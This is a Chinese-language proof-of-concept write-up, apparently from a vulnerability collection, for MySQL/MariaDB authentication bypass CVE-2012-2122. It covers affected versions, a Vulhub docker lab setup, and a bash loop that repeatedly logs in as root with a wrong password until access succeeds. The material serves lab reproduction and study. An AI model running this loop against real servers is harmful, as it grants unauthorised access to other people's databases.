Awesome-POC/数据库漏洞/MySQL 身份认证绕过漏洞 CVE-2012-2122.md

40 lines
1.4 KiB
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# MySQL 身份认证绕过漏洞 CVE-2012-2122
## 漏洞描述
当连接MariaDB/MySQL时输入的密码会与期望的正确密码比较由于不正确的处理会导致即便是memcmp()返回一个非零值也会使MySQL认为两个密码是相同的。也就是说只要知道用户名不断尝试就能够直接登入SQL数据库。
参考链接:
- http://www.freebuf.com/vuls/3815.html
- https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql/
## 漏洞影响
```
MariaDB 5.1.62, 5.2.12, 5.3.6, 5.5.23
MySQL 5.1.63, 5.5.24, 5.6.6
```
## 环境搭建
经过测试本环境虽然运行在容器内部但漏洞是否能够复现仍然与宿主机有一定关系。宿主机最好选择Ubuntu或Mac系统但也不知道是否一定能够成功欢迎在Issue中提交更多测试结果。
执行如下命令启动测试环境:
```
docker-compose up -d
```
Vulhub环境启动后将启动一个Mysql服务版本5.5.23监听3306端口通过正常的Mysql客户端可以直接登录的正确root密码是123456。
## 漏洞复现
在不知道我们环境正确密码的情况下在bash下运行如下命令在一定数量尝试后便可成功登录
```bash
for i in `seq 1 1000`; do mysql -uroot -pwrong -h your-ip -P3306 ; done
```
![image-20220226224914186](images/202202262249365.png)